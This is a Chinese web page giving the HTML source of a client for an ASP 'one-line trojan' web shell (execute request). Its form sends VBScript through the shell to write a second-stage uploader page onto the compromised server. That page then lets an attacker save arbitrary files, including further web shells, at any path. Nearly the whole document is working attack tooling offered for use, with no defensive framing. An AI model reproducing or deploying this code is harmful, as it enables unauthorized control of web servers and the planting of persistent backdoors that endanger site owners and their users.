一句话木马连接客户端

<html><title>一句话木马连接客户端 -- BY 寂寞的刺猬 @ 520000796</title><p align="center">一句话木马（<font color="#0000FF"><%execute request（"l"）%></font>）的本地连接客户端 </P><P><form name="codeform" action="" method=post onsubmit="if （this.userurl.value.length<1）{alert（"请输入URL地址！"）;this.userurl.focus（）;return false}else{this.action=this.userurl.value}"> </P><P>ASP URL:<input style="WIDTH:70%" type="text" name="userurl" value="http://127.0.0.1/date/jmdcw.asp" /> <font color="#FF0000"> 生成asp页名称:</font><textarea name=l cols=100 rows=7 width=36> set lP=server.createObject（"Adodb.Stream"） lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request（"p"） lP.SaveToFile server.mappath（"jmup.asp"）,2 lP.Close set lP=nothing response.redirect "jmup.asp" </textarea> <font color="#FF0000">上传内容:</font><textarea name=p cols=100 rows=7 width=36><% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject（"Scripting.FileSystemObject"） %><% if Trim（request（"syfdpath"））<>"" then %><% fdata = request（"cyfddata"） %><% Set objCountFile=objFSO.CreateTextFile（request（"syfdpath"）,True） %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "<font color=red>save Success！</font>" %><% else %><% response.write "<font color=red>Save UnSuccess！</font>" %><% end if %><% err.clear %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "<form action="" method=post>" %><% Response.write "保存文件的<font color=red>绝对路径（包括文件名:如D:webx.asp）:</font>" %><% Response.Write "<input type=text name=syfdpath width=32 size=50>" %><% Response.Write "" %><% Response.write "本文件绝对路径" %><% =server.mappath（Request.ServerVariables（"SCRIPT_NAME"）） %><% Response.write "" %><% Response.write "输入马的内容:" %><% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %><% Response.write "<input type=submit value=保存>" %><% Response.write "</form>" %> </textarea><center> <inputtype="submit"value="提交" /></form></html>
[Ctrl+A 全选注:如需引入外部Js需刷新才能执行]